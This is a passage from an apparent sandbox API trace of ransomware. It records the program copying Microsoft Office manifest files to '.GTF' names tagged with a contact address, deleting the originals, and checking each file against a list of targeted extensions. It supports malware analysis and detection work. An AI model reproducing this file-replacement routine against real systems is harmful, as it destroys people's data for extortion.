	[0077.486] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.486] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0077.486] GetLastError () returned 0x0
	[0077.486] ReadFile (in: hFile=0x390, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0077.508] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0077.509] ReadFile (in: hFile=0x390, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.509] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.510] SetEndOfFile (hFile=0x368) returned 1
	[0077.510] CloseHandle (hObject=0x368) returned 1
	[0077.510] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.510] SetEndOfFile (hFile=0x390) returned 1
	[0077.511] CloseHandle (hObject=0x390) returned 1
	[0077.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 1
	[0077.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0077.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0077.512] lstrlenW (lpString=".doc") returned 4
	[0077.512] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.512] lstrlenW (lpString=".docx") returned 5
	[0077.512] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.512] lstrlenW (lpString=".pdf") returned 4
	[0077.512] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.512] lstrlenW (lpString=".xls") returned 4
	[0077.512] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.512] lstrlenW (lpString=".xlsx") returned 5
	[0077.512] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.512] lstrlenW (lpString=".ppt") returned 4
	[0077.512] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0077.513] lstrlenW (lpString=".zip") returned 4
	[0077.513] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.513] lstrlenW (lpString=".rar") returned 4
	[0077.513] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.513] lstrlenW (lpString=".bz2") returned 4
	[0077.513] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.513] lstrlenW (lpString=".7z") returned 3
	[0077.513] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0077.513] lstrlenW (lpString=".dbf") returned 4
	[0077.513] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0077.513] lstrlenW (lpString=".1cd") returned 4
	[0077.513] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0077.513] lstrlenW (lpString=".jpg") returned 4
	[0077.513] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0077.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0077.513] lstrlenW (lpString=".doc") returned 4
	[0077.513] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.513] lstrlenW (lpString=".docx") returned 5
	[0077.513] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.513] lstrlenW (lpString=".pdf") returned 4
	[0077.513] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.513] lstrlenW (lpString=".xls") returned 4
	[0077.513] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.513] lstrlenW (lpString=".xlsx") returned 5
	[0077.513] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.513] lstrlenW (lpString=".ppt") returned 4
	[0077.513] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0077.513] lstrlenW (lpString=".zip") returned 4
	[0077.513] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.513] lstrlenW (lpString=".rar") returned 4
	[0077.513] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.514] lstrlenW (lpString=".bz2") returned 4
	[0077.514] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.514] lstrlenW (lpString=".7z") returned 3
	[0077.514] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0077.514] lstrlenW (lpString=".dbf") returned 4
	[0077.514] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0077.514] lstrlenW (lpString=".1cd") returned 4
	[0077.514] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0077.514] lstrlenW (lpString=".jpg") returned 4
	[0077.514] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.514] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.514] lstrlenW (lpString="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 53
	[0077.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0077.514] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1261) returned 1
	[0077.514] CloseHandle (hObject=0x390) returned 1
	[0077.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0077.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0077.515] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.515] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0077.515] GetLastError () returned 0x0
	[0077.515] ReadFile (in: hFile=0x390, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0077.517] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0077.518] ReadFile (in: hFile=0x390, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.518] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.518] SetEndOfFile (hFile=0x368) returned 1
	[0077.518] CloseHandle (hObject=0x368) returned 1
	[0077.519] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.519] SetEndOfFile (hFile=0x390) returned 1
	[0077.520] CloseHandle (hObject=0x390) returned 1
	[0077.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 1
	[0077.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0077.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0077.520] lstrlenW (lpString=".doc") returned 4
	[0077.520] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.520] lstrlenW (lpString=".docx") returned 5
	[0077.520] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.520] lstrlenW (lpString=".pdf") returned 4
	[0077.520] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.520] lstrlenW (lpString=".xls") returned 4
	[0077.521] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.521] lstrlenW (lpString=".xlsx") returned 5
	[0077.521] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.521] lstrlenW (lpString=".ppt") returned 4
	[0077.521] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0077.521] lstrlenW (lpString=".zip") returned 4
	[0077.521] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.521] lstrlenW (lpString=".rar") returned 4
	[0077.521] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.521] lstrlenW (lpString=".bz2") returned 4
	[0077.521] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.521] lstrlenW (lpString=".7z") returned 3
	[0077.521] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0077.521] lstrlenW (lpString=".dbf") returned 4
	[0077.521] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0077.521] lstrlenW (lpString=".1cd") returned 4
	[0077.521] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0077.521] lstrlenW (lpString=".jpg") returned 4
	[0077.521] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0077.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0077.521] lstrlenW (lpString=".doc") returned 4
	[0077.521] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.521] lstrlenW (lpString=".docx") returned 5
	[0077.521] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.521] lstrlenW (lpString=".pdf") returned 4
	[0077.521] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.521] lstrlenW (lpString=".xls") returned 4
	[0077.521] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.521] lstrlenW (lpString=".xlsx") returned 5
	[0077.521] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.521] lstrlenW (lpString=".ppt") returned 4
	[0077.521] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0077.522] lstrlenW (lpString=".zip") returned 4
	[0077.522] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.522] lstrlenW (lpString=".rar") returned 4
	[0077.522] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.522] lstrlenW (lpString=".bz2") returned 4
	[0077.522] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.522] lstrlenW (lpString=".7z") returned 3
	[0077.522] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0077.522] lstrlenW (lpString=".dbf") returned 4
	[0077.522] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0077.522] lstrlenW (lpString=".1cd") returned 4
	[0077.522] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104
	[0077.522] lstrlenW (lpString=".jpg") returned 4
	[0077.522] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.522] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.522] lstrlenW (lpString="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 53
	[0077.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0077.522] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=65002) returned 1
	[0077.522] CloseHandle (hObject=0x390) returned 1
	[0077.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0077.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0077.523] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.523] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0077.523] GetLastError () returned 0x0
	[0077.523] ReadFile (in: hFile=0x390, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xfdea, lpOverlapped=0x0) returned 1
	[0077.526] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xfdf0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xfdf0, lpOverlapped=0x0) returned 1
	[0077.528] ReadFile (in: hFile=0x390, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.528] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.528] SetEndOfFile (hFile=0x368) returned 1
	[0077.528] CloseHandle (hObject=0x368) returned 1
	[0077.530] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.530] SetEndOfFile (hFile=0x390) returned 1
	[0077.531] CloseHandle (hObject=0x390) returned 1
	[0077.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1
	[0077.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.532] lstrlenW (lpString=".doc") returned 4
	[0077.532] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.532] lstrlenW (lpString=".docx") returned 5
	[0077.532] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.532] lstrlenW (lpString=".pdf") returned 4
	[0077.532] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.532] lstrlenW (lpString=".xls") returned 4
	[0077.532] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.532] lstrlenW (lpString=".xlsx") returned 5
	[0077.532] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.532] lstrlenW (lpString=".ppt") returned 4
	[0077.532] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.532] lstrlenW (lpString=".zip") returned 4
	[0077.532] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.532] lstrlenW (lpString=".rar") returned 4
	[0077.532] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.532] lstrlenW (lpString=".bz2") returned 4
	[0077.532] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.532] lstrlenW (lpString=".7z") returned 3
	[0077.532] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.532] lstrlenW (lpString=".dbf") returned 4
	[0077.532] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.532] lstrlenW (lpString=".1cd") returned 4
	[0077.532] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.532] lstrlenW (lpString=".jpg") returned 4
	[0077.532] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.533] lstrlenW (lpString=".doc") returned 4
	[0077.533] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.533] lstrlenW (lpString=".docx") returned 5
	[0077.533] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.533] lstrlenW (lpString=".pdf") returned 4
	[0077.533] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.533] lstrlenW (lpString=".xls") returned 4
	[0077.533] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.533] lstrlenW (lpString=".xlsx") returned 5
	[0077.533] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.533] lstrlenW (lpString=".ppt") returned 4
	[0077.533] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.533] lstrlenW (lpString=".zip") returned 4
	[0077.533] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.533] lstrlenW (lpString=".rar") returned 4
	[0077.533] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.533] lstrlenW (lpString=".bz2") returned 4
	[0077.533] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.533] lstrlenW (lpString=".7z") returned 3
	[0077.533] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.533] lstrlenW (lpString=".dbf") returned 4
	[0077.533] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.533] lstrlenW (lpString=".1cd") returned 4
	[0077.533] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.533] lstrlenW (lpString=".jpg") returned 4
